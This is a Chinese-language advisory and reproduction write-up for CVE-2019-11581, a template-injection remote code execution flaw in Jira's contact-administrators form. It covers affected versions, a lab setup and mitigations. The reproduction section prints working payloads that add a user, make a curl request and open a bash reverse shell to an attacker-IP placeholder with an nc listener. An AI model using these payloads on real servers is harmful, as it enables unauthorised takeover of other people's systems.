0x01 漏洞描述
Jira是由Atlassian公司出品的一款项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
2019年7月12日根据安全情报得知Atlassian Jira Server和Jira Data Center存在服务端模板注入远程代码执行漏洞。成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产
0x02 CVE编号
CVE-2019-11581
0x03 漏洞威胁等级
高危
0x04 影响范围
AtlassianJira 4.4.x
AtlassianJira 5.x.x
AtlassianJira 6.x.x
AtlassianJira 7.0.x
AtlassianJira 7.1.x
AtlassianJira 7.2.x
AtlassianJira 7.3.x
AtlassianJira 7.4.x
AtlassianJira 7.5.x
AtlassianJira 7.6.x < 7.6.14
AtlassianJira 7.7.x
AtlassianJira 7.8.x
AtlassianJira 7.9.x
AtlassianJira 7.10.x
AtlassianJira 7.11.x
AtlassianJira 7.12.x
AtlassianJira 7.13.x < 7.13.5
AtlassianJira 8.0.x < 8.0.3
AtlassianJira 8.1.x < 8.1.2
AtlassianJira 8.2.x < 8.2.3
0x05 漏洞简析
第一种,未授权代码执行利用条件:Jira已配置好SMTP服务器,且需开启“联系网站管理员表单”功能。(从WEB界面设计上看,实际上如果没配置SMTP服务器,无法开启此功能)
第二种利用场景前提是拿到Jira管理员的权限,利用条件较难满足,这里主要分析第一种情况。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未对Subject(邮件主题)处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。在任何一种情况下,成功利用此漏洞的攻击者都可在运行受影响版本的Jira Server或Jira Data Center的系统上执行任意命令。
0x06 搭建环境
这里是安装AtlassianJira 7.13.0

先登录管理员后台配置好联系管理员表单
管理员表单默认是关闭的,需要配置好STMP才能开启
.png)
0x07 漏洞复现
这里直接以未登录状态为例:
payload:$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user joecool joe@cool123 /add').waitFor()
.png)
大概需要等十几秒才能触发命令
.png)
linux下可执行:
目标Jira系统可执行的POC
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor()
攻击者主机执行:nc -lvvp 2333
0x8 漏洞修复方案:
1. 升级到8.4.0及以上版本。
2. 若无法及时升级 Jira,则可采取以下缓解措施
(1)禁用“联系网站管理员”功能。设置=>系统=>编辑设置=>联系管理员表单处选择“关”,然后点击最下面的“更新”保存设置;
(2)禁止对/secure/admin/SendBulkMail!default.jspa 的访问。